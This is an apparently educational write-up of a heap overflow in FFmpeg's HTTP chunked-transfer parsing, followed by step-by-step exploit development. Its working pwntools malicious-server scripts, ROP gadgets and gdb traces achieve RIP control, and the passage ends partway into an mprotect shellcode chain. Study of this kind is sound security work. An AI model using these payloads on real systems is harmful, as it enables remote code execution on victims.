Part 1: The Vulnerability
Background
FFmpeg is a popular free software project that develops libraries and programs
for manipulating audio, video, and image data. The command line tool ffmpeg
is very widely used by users and commercial entities to transcode multimedia
content and the libavformat
muxing and demuxing library is used extensively by
other software. Popular open source media players such as VLC or mplayer use the
library as the main work horse to provide playback of various video and audio
formats.
The vulnerability exists in the HTTP parsing functionality of the libavformat
library. Hence, the bug may commonly triggered in applications that employ
libavformat
to parse HTTP streams containing multimedia data. One such
application is the ffmpeg
application shipped with a standard install of the
project.
Vulnerability Classification
Originally discovered by Paul Cher, the vulnerability is a heap-based buffer
overflow in the libavformat/http.c
file in FFmpeg versions before 2.8.10,
3.0.x before 3.0.5, 3.1.x before 3.1.6, and 3.2.x before 3.2.2. A malicious HTTP
server may cause the heap overflow to occur by supplying a negative chunk size
in the HTTP response when enabling chunked transfer encoding to achieve
arbitrary code execution.
The Overall CVSSv3 Score for the vulnerability is 9.8. This means that the bug is considered to be critical. The impact to the victim includes unauthorised disclosure of information, unauthorised modification of data, and allows for an attacker to disrupt services. The vulnerability is remotely triggered but requires the victim to initiate a connection with the malicious server.
Vulnerability Description
The Heap Overflow
The issue exists in the portion of the code handling HTTP responses from the
queried HTTP server. The malicious code path is triggered by enabling chunked
transfer encoding so that FFmpeg would process the response stream in chunks. In
the file libavformat/http.c
, we can find the following lines of code that
enable the chunk processing behaviour.
720 static int process_line(URLContext *h, char *line, int line_count,
721 int *new_location)
722 {
819 } else if (!av_strcasecmp(tag, "Transfer-Encoding") &&
820 !av_strncasecmp(p, "chunked", 7)) {
821 s->filesize = -1;
822 s->chunksize = 0;
823 }
855 }
Chunked transfer encoding is a mechanism specified in the HTTP protocol to allow for a transmission of the HTTP stream to be split up. This is used to provide buffering functionality so that images, audio, or video can be displayed or played without waiting for the entire file to be downloaded.
A chunked response example may look like so:
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
5\r\n
Hello\r\n
6\r\n
World!\r\n
0\r\n
\r\n
The response body is encoded by splitting up the data to be transmitted into chunks and sending the length of the next chunk on a line followed by the chunk itself.
The actual vulnerability exists in the http_read_stream
function in the file
libavformat/http.c
. The following lines are pertinent:
1235 static int http_read_stream(URLContext *h, uint8_t *buf, int size)
1236 {
1237 HTTPContext *s = h->priv_data;
1250 if (s->chunksize >= 0) {
1251 if (!s->chunksize) {
1252 char line[32];
1253
1254 do {
1255 if ((err = http_get_line(s, line, sizeof(line))) < 0)
1256 return err;
1257 } while (!*line); /* skip CR LF from last chunk */
1258
1259 s->chunksize = strtoll(line, NULL, 16);
1264 if (!s->chunksize)
1265 return 0;
1266 }
1267 size = FFMIN(size, s->chunksize);
1273 read_ret = http_buf_read(h, buf, size);
1295 }
Before performing the analysis, a little more information on the HTTPContext
*s
variable. The HTTPContext
struct has the field chunksize
which is of
type int64_t
. The important thing to note is that variables of type int64_t
which are signed. This means that the field can represent negative integers.
gdb-peda$ ptype HTTPContext
type = struct HTTPContext {
...
int64_t chunksize;
...
}
In the http_read_stream
listing above, the chunk size is first read from the
HTTP response into the variable line
.
1255 if ((err = http_get_line(s, line, sizeof(line))) < 0)
The next line of interest is the core of the vulnerability. The strtoll
function converts a string to a long long
which is equivalent to int64_t
.
The use of the strtoll
function and int64_t
data type means that the
s->chunksize
field can contain negative integers.
1259 s->chunksize = strtoll(line, NULL, 16);
After the integer is parsed, it is run with the FFMIN
macro.
1267 size = FFMIN(size, s->chunksize);
The FFMIN
macro is declared in the libavutil/common.h
file. The macro is
simple and returns the lowest value of the two parameters. The size
field
contains 0x8000
at the beginning of the function. Hence, when a negative
integer is parsed as the chunk size, it is always selected to be the size
.
For simplicity, we will assume that this chunk size is -1 from this point on.
96 #define FFMIN(a,b) ((a) > (b) ? (b) : (a))
The size
is then passed to the function http_buf_read
.
1273 read_ret = http_buf_read(h, buf, size);
The function http_buf_read
is in libavformat/http.c
. The function in turn
calls ffurl_read
with the size
variable.
1166 static int http_buf_read(URLContext *h, uint8_t *buf, int size)
1167 {
1168 HTTPContext *s = h->priv_data;
1182 len = ffurl_read(s->hd, buf, size);
1198 }
The ffurl_read
function is found in the libavformat/avio.c
file. The
retry_transfer_wrapper
function is called. This time, the h->prot->url_read
pointer is passed to the function.
407 int ffurl_read(URLContext *h, unsigned char *buf, int size)
408 {
411 return retry_transfer_wrapper(h, buf, size, 1, h->prot->url_read);
412 }
The pointer h->prot->url_read
is a function pointer to the function
tcp_read
.
gdb-peda$ print *h.prot
$11 = {
...
url_read = 0x6c7a90 <tcp_read>,
...
}
The function retry_transfer_wrapper
in libavformat/avio.c
calls the function
pointer passed in previously. The function that would be called in this case
would be the tcp_read
function.
364 static inline int retry_transfer_wrapper(URLContext *h, uint8_t *buf,
365 int size, int size_min,
366 int (*transfer_func)(URLContext *h,
367 uint8_t *buf,
368 int size))
369 {
378 ret = transfer_func(h, buf + len, size - len);
405 }
The tcp_read
function in libavformat/tcp.c
is the actual point in the code
where the data from the socket is read into the buffer. This finally concludes
in the actual buffer overflow because of the mismatch between the data type of
int size
in tcp_read
and the data type of size_t len
in recv
.
201 static int tcp_read(URLContext *h, uint8_t *buf, int size)
202 {
203 TCPContext *s = h->priv_data;
211 ret = recv(s->fd, buf, size, 0);
213 }
From the man pages of recv
:
ssize_t recv(int sockfd, void *buf, size_t len, int flags);
Since int
is signed and size_t
is unsigned, a signed value of -1 will be
interpreted as an unsigned value of 0xffffffffffffffff. This will cause recv
to read an extraordinarily large amount of data into the 0x8000 length buffer.
Since the buffer is on allocated on the heap, this results in a heap-based buffer overflow. See the section on Exploit Development for confirmation of this memory error condition.
Heap Layout
At the point of the overflow, the buffer is allocated right before an
AVIOContext
object. In the original exploit proof-of-concept by Paul Cher,
he discovers that the AVIOContext
object is allocated at an offset of 0x8060
from the buffer.
gdb-peda$ ptype AVIOContext
type = struct AVIOContext {
const AVClass *av_class;
unsigned char *buffer;
int buffer_size;
unsigned char *buf_ptr;
unsigned char *buf_end;
void *opaque;
int (*read_packet)(void *, uint8_t *, int);
int (*write_packet)(void *, uint8_t *, int);
int64_t (*seek)(void *, int64_t, int);
int64_t pos;
int must_flush;
int eof_reached;
int write_flag;
int max_packet_size;
unsigned long checksum;
unsigned char *checksum_ptr;
...
}
Since we can corrupt the AVIOContext
object, we can control the value of the
fields. A particularly interesting field to control is the read_packet
field
which is used in the avio_read
function. The function is called later in the
program and will be the way an attacker can achieve remote code execution.
The avio_read
function can be found in the libavformat/aviobuf.c
file.
604 int avio_read(AVIOContext *s, unsigned char *buf, int size)
605 {
614 if(s->read_packet)
615 len = s->read_packet(s->opaque, buf, size);
651 }
For completeness, the eof_reached
field has to be addressed. During execution,
if the field is not zero, the socket read is halted and will prevent the remote
code execution control flow from executing.
Part 2: Demonstration
The Environment
1. Install Ubuntu 16.04 x64
In this demo, Ubuntu 16.04 x64 is used with vagrant.
$ vagrant init ubuntu/xenial64
$ vagrant up
2. Install Python and Pwntools
The exploit will be written in python using the pwntools framework. Pwntools is
a framework for exploit development and enables rapid prototyping as well as
debugging. Additionally, ropper
, a tool to search for ROP gadgets within a
given binary is installed.
$ sudo apt-get update
$ sudo apt-get upgrade
$ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev
build-essential
$ sudo pip install --upgrade pip
$ sudo pip install --upgrade pwntools
$ sudo pip install --upgrade ropper
Building FFmpeg 3.2.1
First, we need to update the system and install the dependencies.
sudo apt-get update
sudo apt-get -y install autoconf automake build-essential libass-dev \
libfreetype6-dev libsdl2-dev libtheora-dev libtool libva-dev libvdpau-dev \
libvorbis-dev libxcb1-dev libxcb-shm0-dev libxcb-xfixes0-dev pkg-config \
texinfo wget zlib1g-dev yasm
Next, we download the FFmpeg 3.2.1 release sources and build it according to the instructions given in https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu.
$ wget https://github.com/FFmpeg/FFmpeg/archive/n3.2.1.tar.gz
$ tar xvfz n3.2.1.tar.gz
$ mkdir ~/ffmpeg_build
$ mkdir ~/ffmpeg_bin
$ cd FFmpeg-n3.2.1/
$ ./configure --prefix="$HOME/ffmpeg_build" --bindir="$HOME/ffmpeg_bin" \
--disable-stripping
$ make -j 4
$ make install
The binaries will be placed in the ~/ffmpeg_bin/
directory. The ffmpeg
binary is the one that we will be working with in this demo.
$ ~/ffmpeg_bin/ffmpeg
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
configuration: --prefix=/home/ubuntu/ffmpeg_build
--bindir=/home/ubuntu/ffmpeg_bin --disable-stripping
libavutil 55. 34.100 / 55. 34.100
libavcodec 57. 64.101 / 57. 64.101
libavformat 57. 56.100 / 57. 56.100
libavdevice 57. 1.100 / 57. 1.100
libavfilter 6. 65.100 / 6. 65.100
libswscale 4. 2.100 / 4. 2.100
libswresample 2. 3.100 / 2. 3.100
Hyper fast Audio and Video encoder
usage: ffmpeg [options] [[infile options] -i infile]... {[outfile options]
outfile}...
Use -h to get full help or, even better, run 'man ffmpeg'
Notice that the binary has the following protections enabled:
$ checksec ffmpeg_debug
[*] '/vagrant/assignments/assignment1/ffmpeg_debug'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
Furthermore, it is also assumed that ASLR will be enabled and that the exploit will have to bypass this mitigation.
Baseline Behaviour
In the expected use case, ffmpeg
is used to convert a video stream served over
HTTP into an AVI file. In this demonstration of baseline behaviour, we use a
sample video from ‘sample-videos.com’ as an example stream.
The invocation and result looks like so:
$ ./ffmpeg -i \
http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4 \
/tmp/test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
configuration: --prefix=/home/ubuntu/ffmpeg_build
--bindir=/home/ubuntu/ffmpeg_bin --disable-stripping
libavutil 55. 34.100 / 55. 34.100
libavcodec 57. 64.101 / 57. 64.101
libavformat 57. 56.100 / 57. 56.100
libavdevice 57. 1.100 / 57. 1.100
libavfilter 6. 65.100 / 6. 65.100
libswscale 4. 2.100 / 4. 2.100
libswresample 2. 3.100 / 2. 3.100
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from
'http://www.sample-videos.com/video/mp4/720/big_buck_bunny_720p_1mb.mp4':
Metadata:
major_brand : isom
minor_version : 512
compatible_brands: isomiso2avc1mp41
creation_time : 1970-01-01T00:00:00.000000Z
encoder : Lavf53.24.2
Duration: 00:00:05.31, start: 0.000000, bitrate: 1589 kb/s
Stream #0:0(und): Video: h264 (Main) (avc1 / 0x31637661), yuv420p, 1280x720
[SAR 1:1 DAR 16:9], 1205 kb/s, 25 fps, 25 tbr, 12800 tbn, 50 tbc (default)
Metadata:
creation_time : 1970-01-01T00:00:00.000000Z
handler_name : VideoHandler
Stream #0:1(und): Audio: aac (LC) (mp4a / 0x6134706D), 48000 Hz, 5.1, fltp,
384 kb/s (default)
Metadata:
creation_time : 1970-01-01T00:00:00.000000Z
handler_name : SoundHandler
Output #0, avi, to '/tmp/test.avi':
Metadata:
major_brand : isom
minor_version : 512
compatible_brands: isomiso2avc1mp41
ISFT : Lavf57.56.100
Stream #0:0(und): Video: mpeg4 (FMP4 / 0x34504D46), yuv420p, 1280x720
[SAR 1:1 DAR 16:9], q=2-31, 200 kb/s, 25 fps, 25 tbn, 25 tbc (default)
Metadata:
creation_time : 1970-01-01T00:00:00.000000Z
handler_name : VideoHandler
encoder : Lavc57.64.101 mpeg4
Side data:
cpb: bitrate max/min/avg: 0/0/200000 buffer size: 0 vbv_delay: -1
Stream #0:1(und): Audio: ac3 ([0] [0][0] / 0x2000), 48000 Hz, 5.1, fltp,
448 kb/s (default)
Metadata:
creation_time : 1970-01-01T00:00:00.000000Z
handler_name : SoundHandler
encoder : Lavc57.64.101 ac3
Stream mapping:
Stream #0:0 -> #0:0 (h264 (native) -> mpeg4 (native))
Stream #0:1 -> #0:1 (aac (native) -> ac3 (native))
Press [q] to stop, [?] for help
frame= 132 fps= 36 q=31.0 Lsize=
903kB time=00:00:05.31 bitrate=1393.3kbits/s speed=1.47x
video:596kB audio:290kB subtitle:0kB other streams:0kB global headers:0kB muxing
overhead: 1.899860%
Developing the Exploit
Basic Crash Implementation
To begin with, we can start with a basic skeleton of a python script that is
sufficient to cause a crash in ffmpeg
.
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
def main():
# Start a listener and wait for a connection from ffmpeg
p = listen(12345)
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for two seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060
# Send the entire payload
log.info("Payload sent!")
p.send(payload)
# Close the socket to terminate the read on the ffmpeg end to process the
# overwrite
p.close()
if __name__ == '__main__':
main()
Running the python script and starting the listener.
$ python crash.py
[+] Trying to bind to 0.0.0.0 on port 12345: Done
[+] Waiting for connections on 0.0.0.0:12345: Got connection from 127.0.0.1 on port 59258
[+] Victim found!
[*] Bug triggered. Please wait for two seconds...
[*] Payload sent!
[*] Closed connection to 127.0.0.1 port 59258
Starting the ffmpeg
binary ends in the binary yielding the abort signal and
display an invalid free debug message which indicates some corruption of the
heap.
$ ./ffmpeg -i http://127.0.0.1:12345 test.avi
ffmpeg version 3.2.1 Copyright (c) 2000-2016 the FFmpeg developers
built with gcc 5.4.0 (Ubuntu 5.4.0-6ubuntu1~16.04.4) 20160609
configuration: --prefix=/home/ubuntu/ffmpeg_build
--bindir=/home/ubuntu/ffmpeg_bin --disable-stripping
libavutil 55. 34.100 / 55. 34.100
libavcodec 57. 64.101 / 57. 64.101
libavformat 57. 56.100 / 57. 56.100
libavdevice 57. 1.100 / 57. 1.100
libavfilter 6. 65.100 / 6. 65.100
libswscale 4. 2.100 / 4. 2.100
libswresample 2. 3.100 / 2. 3.100
*** Error in `./ffmpeg': free(): invalid next size (normal): 0x0000000002042b80 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f01f9f047e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f01f9f0d37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f01f9f1153c]
./ffmpeg[0x5ca7b5]
./ffmpeg[0x5edb26]
./ffmpeg[0x6db95d]
./ffmpeg[0x4880b0]
./ffmpeg[0x489cec]
./ffmpeg(main+0xa2)[0x47bdf2]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f01f9ead830]
./ffmpeg[0x47c039]
======= Memory map: ========
00400000-01446000 r-xp 00000000 08:01 784064 /home/ubuntu/ffmpeg_bin/ffmpeg
01645000-01646000 r--p 01045000 08:01 784064 /home/ubuntu/ffmpeg_bin/ffmpeg
01646000-0168d000 rw-p 01046000 08:01 784064 /home/ubuntu/ffmpeg_bin/ffmpeg
0168d000-01de4000 rw-p 00000000 00:00 0
02040000-0207b000 rw-p 00000000 00:00 0 [heap]
...
7ffe943ad000-7ffe943af000 r--p 00000000 00:00 0 [vvar]
7ffe943af000-7ffe943b1000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Aborted (core dumped)
AVIOContext Object Corruption
To corrupt the AVIOContext
object, we can write a few more bytes.
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
def main():
# Start a listener and wait for a connection from ffmpeg
p = listen(12345)
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for two seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060
# Send the entire payload
log.info("Payload sent!")
p.send(payload)
# Close the socket to terminate the read on the ffmpeg end to process the
# overwrite
p.close()
if __name__ == '__main__':
main()
To verify that the bug does indeed exist, we can debug the program. To begin, we
break on the recv
call in the tcp_read
function.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0xffffffff
RCX: 0x0
RDX: 0xffffffffffffffff
RSI: 0x1de6b80 --> 0x0
RDI: 0x3
RBP: 0x1de6900 --> 0x10a9080 --> 0x10b7c68 --> 0x706374 (<ff_id3v1_read+1028>)
RSP: 0x7fffffffda80 --> 0x1de67c0 --> 0x10725e0 --> 0x106fc8a ("URLContext")
RIP: 0x6c7aae (<tcp_read+30>: call 0x406220 <recv@plt>)
R8 : 0x0
R9 : 0x1
R10: 0x0
R11: 0x246
R12: 0x1de6b80 --> 0x0
R13: 0x6c7a90 (<tcp_read>: push r12)
R14: 0x5
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x6c7aa6 <tcp_read+22>: xor ecx,ecx
0x6c7aa8 <tcp_read+24>: movsxd rdx,ebx
0x6c7aab <tcp_read+27>: mov rsi,r12
=> 0x6c7aae <tcp_read+30>: call 0x406220 <recv@plt>
0x6c7ab3 <tcp_read+35>: test eax,eax
0x6c7ab5 <tcp_read+37>: jns 0x6c7ac0 <tcp_read+48>
0x6c7ab7 <tcp_read+39>: call 0x405fc0 <__errno_location@plt>
0x6c7abc <tcp_read+44>: mov eax,DWORD PTR [rax]
Guessed arguments:
arg[0]: 0x3
arg[1]: 0x1de6b80 --> 0x0
arg[2]: 0xffffffffffffffff
arg[3]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda80 --> 0x1de67c0 --> 0x10725e0 --> 0x106fc8a ("URLContext")
0008| 0x7fffffffda88 --> 0x1de6b80 --> 0x0
0016| 0x7fffffffda90 --> 0xffffffff
0024| 0x7fffffffda98 --> 0x5c20c4 (<ffurl_read+116>: cmp eax,0xfffffffc)
0032| 0x7fffffffdaa0 --> 0x0
0040| 0x7fffffffdaa8 --> 0x1de4cd0 ("HTTP/1.1 200 OK\nServer: PwnServ/v1.0...")
0048| 0x7fffffffdab0 --> 0x1de4cc0 --> 0x10b5020 --> 0x107bff4 --> ('http')
0056| 0x7fffffffdab8 --> 0x1de4b20 --> 0x10725e0 --> 0x106fc8a ("URLContext")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00000000006c7aae in recv (__flags=0x0, __n=0xffffffffffffffff,
__buf=0x1de6b80, __fd=0x3)
at /usr/include/x86_64-linux-gnu/bits/socket2.h:44
44 return __recv_alias (__fd, __buf, __n, __flags);
gdb-peda$
We can observe the AVIOContext
object to be corrupted just before it gets
written into by using the printing functions of gdb
.
gdb-peda$ p *(AVIOContext*)(0x1de6b80+0x8060)
$2 = {
av_class = 0x1072860 <ff_avio_class>,
buffer = 0x1de6b80 "",
buffer_size = 0x8000,
buf_ptr = 0x1de6b80 "",
buf_end = 0x1de6b80 "",
opaque = 0x1de69c0,
read_packet = 0x5c4050 <io_read_packet>,
write_packet = 0x5c4040 <io_write_packet>,
seek = 0x5c4030 <io_seek>,
pos = 0x0,
must_flush = 0x0,
eof_reached = 0x0,
...
}
gdb-peda$
After the overflow, we can observe that AVIOContext
object has been corrupted.
gdb-peda$ p *(AVIOContext*)(0x1de6b80+0x8060)
$12 = {
av_class = 0x4141414141414141,
buffer = 0x4141414141414141,
buffer_size = 0x41414141,
buf_ptr = 0x4141414141414141,
buf_end = 0x1de6b80 'A' <repeats 200 times>...,
opaque = 0x1de69c0,
read_packet = 0x5c4050 <io_read_packet>,
write_packet = 0x5c4040 <io_write_packet>,
seek = 0x5c4030 <io_seek>,
pos = 0x0,
must_flush = 0x0,
eof_reached = 0x0,
...
}
The goal is to overwrite the read_packet
which gives the RIP control.
Searching for ROP Gadgets
Before we begin writing the payload, we need some Return Oriented Programming
(ROP) gadgets. We can find these gadgets by using ropper
. ropper
is a tool
to automate ROP gadget search. In certain conditions, it can even be used to
generate full ROP chains to meet certain objectives such as execve
or
mprotect
chains.
Often, we are required to find gadgets that pop values from the stack into particular registers. We can search for them like so:
$ ropper --file ffmpeg_debug --search "pop rsi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi
[INFO] File: ffmpeg_debug
...
0x00000000005eb942: pop rdx; lahf; std; jmp qword ptr [rsi + 0x2e];
0x00000000009b7efc: pop rdx; leave; ucomisd xmm8, xmm9; seta al; neg eax; ret;
0x0000000000408859: pop rdx; ret;
0x00000000012244c4: pop rdx; salc; ret 0x7840;
0x000000000126a1c4: pop rdx; stc; stosd dword ptr [rdi], eax; cld; ret 0x2afe;
...
Another particularly useful gadget is the write-what-where gadget. These gadgets provide a primitive to place arbitrary memory in arbitrary locations. This is useful to write shellcode to a selected location.
$ ropper --file ffmpeg_debug --search "mov [%], r%x" --quality 1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: mov [%], r%x
[INFO] File: ffmpeg_debug
...
0x00000000007f452a: mov qword ptr [rsi + 0x38], rax; ret;
0x0000000000b9e69d: mov qword ptr [rsi + 8], rax; ret;
0x00000000007f4392: mov qword ptr [rsi + 8], rdx; ret;
0x0000000000422544: mov qword ptr [rsi], rdx; ret;
0x0000000000f41ec9: mov qword ptr [rsp + 0x10], r8; call rax;
0x0000000000abfb21: mov qword ptr [rsp + 0x10], rax; call rdx;
0x0000000000da8904: mov qword ptr [rsp + 0x10], rcx; call qword ptr [rcx];
...
Getting RIP Control
To get a ROP chain to work, we need to perform a little manipulation of the payload. The complete python script to achieve this is as follows:
#!/usr/bin/python
from pwn import *
import time
import socket
# HTTP Headers
headers = """HTTP/1.1 200 OK
Server: PwnServ/v1.0
Date: Sun, 11 Mar 1994 13:37:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
"""
# ROP Gadgets
pop_rsp = 0x00000000004077e9 # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fc75 # push rbx; jmp rdi;
def main():
# Start a listener and wait for a connection from ffmpeg
p = listen(12345)
# Wait for connection before sending payload
log.info("Waiting for the victim...")
p.wait_for_connection()
log.success("Victim found!")
# Initialise the ffmpeg instance and prepare it for the bug
p.send(headers)
# Trigger the bug with the overly large read
p.sendline("-1")
log.info("Bug triggered. Please wait for two seconds...")
time.sleep(2) # The sleep allows for a clean transmission boundary
payload = "A" * 0x8060 # Padding to start of AVIOContext struct
# Setup the fake AVIOContext struct for the pivot into attacker controlled
# memory
payload += p64(stack_pivot) # [av_class] Pivot stack into controlled mem (3)
payload += ("A"*8) * 4 # [buffer, buffer_size, buf_ptr, buf_end]
payload += p64(pop_rsp) # [opaque] Value in RDI at (1). (2)
payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)
payload += ("X"*8) * 3 # [write_packet, seek, pos]
payload += "AAAA" # [must_flush]
payload += p32(0) # [eof_reached] Must be zero or read terminates
payload += "A" * 8 # [write_flag, max_packet_size]
payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
payload += ("A"*8) * 11 # Padding to set up the stack for the main ROP
# ROP chain starts here
payload += p64(0xdeadbeef) # ROP Chain
payload += p64(0xcafebabe)
payload += p64(0xba5eba11)
# Send the entire payload
log.info("Payload sent!")
p.send(payload)
# Close the socket to terminate the read on the ffmpeg end to process the
# shellcode
p.close()
if __name__ == '__main__':
main()
The interesting part of the entire payload is the portion before the actual ROP
chain. It sets up the AVIOContext
object very carefully and utilises four
different ROP gadgets to pivot the stack into the controllable region of heap
memory.
Before walking through the execution flow, the eof_reached
field must be set
to 0. This happens in this line:
payload += p32(0) # [eof_reached] Must be zero or read terminates
The initial RIP control happens on this line:
payload += p64(push_rbx_jmp_rdi) # [read_packet] initial RIP control (1)
Next, since the address of pop_rsp
was stored in RDI, the control flow will
continue onto the following line:
payload += p64(pop_rsp) # [opaque] Value in RDI at (1). (2)
This moves the stack and executes the following line:
payload += p64(stack_pivot) # [av_class] Pivot stack into controlled mem (3)
Finally, another stack pivot is executed to move the stack back up into an uncorrupted region of memory:
payload += p64(stack_pivot) # [checksum] One more stack pivot (4)
From that point onward, we can include a standard ROP chain:
payload += p64(0xdeadbeef) # ROP Chain
payload += p64(0xcafebabe)
payload += p64(0xba5eba11)
To test this, we can break on the line in the avio_read
function in
libavformat/aviobuf.c
:
615 len = s->read_packet(s->opaque, buf, size);
Which corresponds roughly to the following line in assembly:
0x00000000005c79ab <+331>: mov r14d,r15d
0x00000000005c79ae <+334>: mov rdi,QWORD PTR [rbx+0x28]
0x00000000005c79b2 <+338>: mov edx,r14d
0x00000000005c79b5 <+341>: mov rsi,rbp
0x00000000005c79b8 <+344>: call rax
The important instruction is the call rax
instruction. RAX would contain the
value of s->read_packet
and the instruction would cause the execution flow to
jump to that value.
Allowing the binary to run until it crashes would show that the ROP chain works.
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x117fc75 --> 0xbfdd7fee7fff3ff
RBX: 0x1deebe0 --> 0x49daa9 (<term_init+105>: add rsp,0x58)
RCX: 0x4141414141414141 ('AAAAAAAA')
RDX: 0x80a395ca
RSI: 0x1deecb8 --> 0x300000000
RDI: 0x4077e9 (<audio_read_header+272>: pop rsp)
RBP: 0x1deecb8 --> 0x300000000
RSP: 0x1deeca8 --> 0xcafebabe
RIP: 0xdeadbeef
R8 : 0x0
R9 : 0x41414141 ('AAAA')
R10: 0x41414141 ('AAAA')
R11: 0x246
R12: 0x800
R13: 0x800
R14: 0x80a395ca
R15: 0x41414141 ('AAAA')
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0x1deeca8 --> 0xcafebabe
0008| 0x1deecb0 --> 0xba5eba11
0016| 0x1deecb8 --> 0x300000000
0024| 0x1deecc0 --> 0x8000000000000000
0032| 0x1deecc8 --> 0x831
0040| 0x1deecd0 --> 0x1de69d0 --> 0x20 (' ')
0048| 0x1deecd8 --> 0x0
0056| 0x1deece0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000deadbeef in ?? ()
gdb-peda$ bt
#0 0x00000000deadbeef in ?? ()
#1 0x00000000cafebabe in ?? ()
#2 0x00000000ba5eba11 in ?? ()
#3 0x0000000300000000 in ?? ()
#4 0x8000000000000000 in ?? ()
#5 0x0000000000000831 in ?? ()
#6 0x0000000001de69d0 in ?? ()
#7 0x0000000000000000 in ?? ()
gdb-peda$
The segfault shows that the program crashed on 0xdeadbeef
and that the future
return addresses are within our control.
mprotect ROP Chain
The next step is to write the ROP chain to perform an mprotect
call to mark a
region of memory as readable, writable, and executable. Then, the ROP chain
would copy shellcode into this region of memory before jumping to it. First, we
need to find the address of mprotect
in the Procedure Linkage Table.
$ objdump -d ffmpeg | grep mprotect
00000000004071f0 <mprotect@plt>:
4749b3: e8 38 28 f9 ff callq 4071f0 <mprotect@plt>
4749d3: e8 18 28 f9 ff callq 4071f0 <mprotect@plt>
From the above we can get the address 0x00000000004071f0
as the address of
mprotect
. Additionally, we will need an address to pick as the place where we
will put the shellcode. The writable section (0x01646000) of the binary is a
good pick:
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x01446000 r-xp /home/ubuntu/debug/ffmpeg_bin/ffmpeg
0x01645000 0x01646000 r--p /home/ubuntu/debug/ffmpeg_bin/ffmpeg
0x01646000 0x0168d000 rw-p /home/ubuntu/debug/ffmpeg_bin/ffmpeg
0x0168d000 0x01e05000 rw-p [heap]
...
Next, we can take a look at mmap.c
in the Linux source code to figure out the
values of PROT_READ
, PROT_WRITE
, and PROT_EXEC
for the call to mprotect
.
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
The python code to perform the mprotect
and copy shellcode is as follows:
# ROP Gadgets
pop_rsp = 0x00000000004077e9 # pop rsp; ret;
stack_pivot = 0x000000000049daa9 # add rsp, 0x58; ret;
push_rbx_jmp_rdi = 0x000000000117fc75 # push rbx; jmp rdi;
mprotect_segment = 0x01646000
mprotect_size = 0x500
mprotect_prot = 0x1 | 02 | 0x4
pop_rdi = 0x0000000000407c39
pop_rsi = 0x0000000000408b2c
pop_rdx = 0x0000000000408859
write_gadget = 0x0000000000422544 # mov qword ptr [rsi], rdx; ret;
mprotect_plt = 0x4071f0
def generate_mov(address_base, data):
"""Move data into memory startng at the given address_base with a write
gadget."""
def chunks(l, n):
"""Yield successive n-sized chunks from l."""
for i in range(0, len(l), n):
yield l[i:i + n]
ropchain = ""
for counter, i in enumerate(chunks(data, 8)):
ropchain += p64(pop_rsi) # Pop the target address into RSI
ropchain += p64(address_base + (counter * 8)) # Calculate the target
ropchain += p64(pop_rdx) # Pop the 8 bytes of data into RDX
ropchain += i.ljust(8, "\x90") # Make sure the data is aligned on 8 bytes
ropchain += p64(write_gadget) # Trigger the write
return ropchain
def main():
...
# The main ROP chain
